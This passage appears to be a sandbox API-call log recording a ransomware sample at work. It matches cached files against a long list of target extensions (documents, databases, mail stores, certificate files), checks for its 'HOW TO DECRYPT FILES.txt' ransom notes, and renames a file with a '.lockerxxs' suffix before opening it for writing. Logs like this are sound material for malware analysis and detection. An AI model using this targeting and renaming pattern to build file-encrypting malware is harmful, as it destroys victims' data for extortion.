[0082.853] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.eml") returned 0 [0082.853] lstrlenA (lpString="*.eml") returned 5 [0082.853] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.pst") returned 0 [0082.853] lstrlenA (lpString="*.pst") returned 5 [0082.853] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.ost") returned 0 [0082.853] lstrlenA (lpString="*.ost") returned 5 [0082.853] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.idx") returned 0 [0082.854] lstrlenA (lpString="*.idx") returned 5 [0082.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.dbx") returned 0 [0082.854] lstrlenA (lpString="*.dbx") returned 5 [0082.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.sql") returned 0 [0082.854] lstrlenA (lpString="*.sql") returned 5 [0082.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.mdb") returned 0 [0082.854] lstrlenA (lpString="*.mdb") returned 5 [0082.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.fdb") returned 0 [0082.854] lstrlenA (lpString="*.fdb") returned 5 [0082.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.wab") returned 0 [0082.854] lstrlenA (lpString="*.wab") returned 5 [0082.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.dat") returned 0 [0082.854] lstrlenA (lpString="*.dat") returned 5 [0082.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.txt") returned 0 [0082.854] lstrlenA (lpString="*.txt") returned 5 [0082.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.jpeg") returned 0 [0082.854] lstrlenA (lpString="*.jpeg") returned 6 [0082.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.jpg") returned 0 [0082.854] lstrlenA (lpString="*.jpg") returned 5 [0082.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.png") returned 0 [0082.854] lstrlenA (lpString="*.png") returned 5 [0082.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.php") returned 0 [0082.854] lstrlenA (lpString="*.php") returned 5 [0082.854] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.cs") returned 0 [0082.855] lstrlenA (lpString="*.cs") returned 4 [0082.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.cpp") returned 0 [0082.855] lstrlenA (lpString="*.cpp") returned 5 [0082.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.rar") returned 0 [0082.855] lstrlenA (lpString="*.rar") returned 5 [0082.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.zip") returned 0 [0082.855] lstrlenA (lpString="*.zip") returned 5 [0082.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.html") returned 0 [0082.855] lstrlenA (lpString="*.html") returned 6 [0082.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.htm") returned 0 [0082.855] lstrlenA (lpString="*.htm") returned 5 [0082.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.xlsx") returned 0 [0082.855] lstrlenA (lpString="*.xlsx") returned 6 [0082.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.xls") returned 0 [0082.855] lstrlenA (lpString="*.xls") returned 5 [0082.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.mp4") returned 0 [0082.855] lstrlenA (lpString="*.mp4") returned 5 [0082.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.ppt") returned 0 [0082.855] lstrlenA (lpString="*.ppt") returned 5 [0082.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.pptx") returned 0 [0082.855] lstrlenA (lpString="*.pptx") returned 6 [0082.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.doc") returned 0 [0082.855] lstrlenA (lpString="*.doc") returned 5 [0082.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.dot") returned 0 [0082.855] lstrlenA (lpString="*.dot") returned 5 [0082.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.docx") returned 0 [0082.856] lstrlenA (lpString="*.docx") returned 6 [0082.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.7z") returned 0 [0082.856] lstrlenA (lpString="*.7z") returned 4 [0082.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.tar") returned 0 [0082.856] lstrlenA (lpString="*.tar") returned 5 [0082.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.bz2") returned 0 [0082.856] lstrlenA (lpString="*.bz2") returned 5 [0082.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.gz") returned 0 [0082.856] lstrlenA (lpString="*.gz") returned 4 [0082.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.mkv") returned 0 [0082.856] lstrlenA (lpString="*.mkv") returned 5 [0082.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.eml") returned 0 [0082.856] lstrlenA (lpString="*.eml") returned 5 [0082.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.msg") returned 0 [0082.856] lstrlenA (lpString="*.msg") returned 5 [0082.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.edb") returned 0 [0082.856] lstrlenA (lpString="*.edb") returned 5 [0082.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.accdb") returned 0 [0082.857] lstrlenA (lpString="*.accdb") returned 7 [0082.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.odb") returned 0 [0082.857] lstrlenA (lpString="*.odb") returned 5 [0082.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.java") returned 0 [0082.857] lstrlenA (lpString="*.java") returned 6 [0082.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.asm") returned 0 [0082.857] lstrlenA (lpString="*.asm") returned 5 [0082.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.pfx") returned 0 [0082.857] lstrlenA (lpString="*.pfx") returned 5 [0082.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.pem") returned 0 [0082.857] lstrlenA (lpString="*.pem") returned 5 [0082.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.p12") returned 0 [0082.857] lstrlenA (lpString="*.p12") returned 5 [0082.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.gpg") returned 0 [0082.857] lstrlenA (lpString="*.gpg") returned 5 [0082.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js", pszSpec="*.vsd") returned 0 [0082.857] lstrlenA (lpString="*.vsd") returned 5 [0082.858] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53d7b330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53d7b330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53d7b330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="async_usersync[1]", cAlternateFileName="ASYNC_~1")) returned 1 [0082.858] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.858] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="async_usersync[1]") returned 1 [0082.858] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="async_usersync[1]") returned 1 [0082.858] lstrcmpiA (lpString1="", lpString2="async_usersync[1]") returned -1 [0082.858] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js") returned="ast[2].js" [0082.858] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.858] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.858] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.858] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.858] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="async_usersync[1]" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\async_usersync[1]") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\async_usersync[1]" [0082.858] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5108d3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5108d3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x86e6, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="b2fd15[1].eot", cAlternateFileName="B2FD15~1.EOT")) returned 1 [0082.859] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.859] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="b2fd15[1].eot") returned 1 [0082.859] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="b2fd15[1].eot") returned 1 [0082.859] lstrcmpiA (lpString1="", lpString2="b2fd15[1].eot") returned -1 [0082.859] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\async_usersync[1]") returned="async_usersync[1]" [0082.859] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.859] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.859] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.859] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.859] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="b2fd15[1].eot" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\b2fd15[1].eot") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\b2fd15[1].eot" [0082.859] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45915110, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45915110, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45915110, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="BB5zDwX[1].png", cAlternateFileName="BB5ZDW~1.PNG")) returned 1 [0082.859] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.859] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BB5zDwX[1].png") returned 1 [0082.859] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BB5zDwX[1].png") returned 1 [0082.860] lstrcmpiA (lpString1="", lpString2="BB5zDwX[1].png") returned -1 [0082.860] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\b2fd15[1].eot") returned="b2fd15[1].eot" [0082.860] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.860] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.860] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.860] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.860] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BB5zDwX[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png" [0082.860] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png" [0082.860] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png" [0082.860] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png." [0082.860] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png.lockerxxs" [0082.860] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bb5zdwx[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 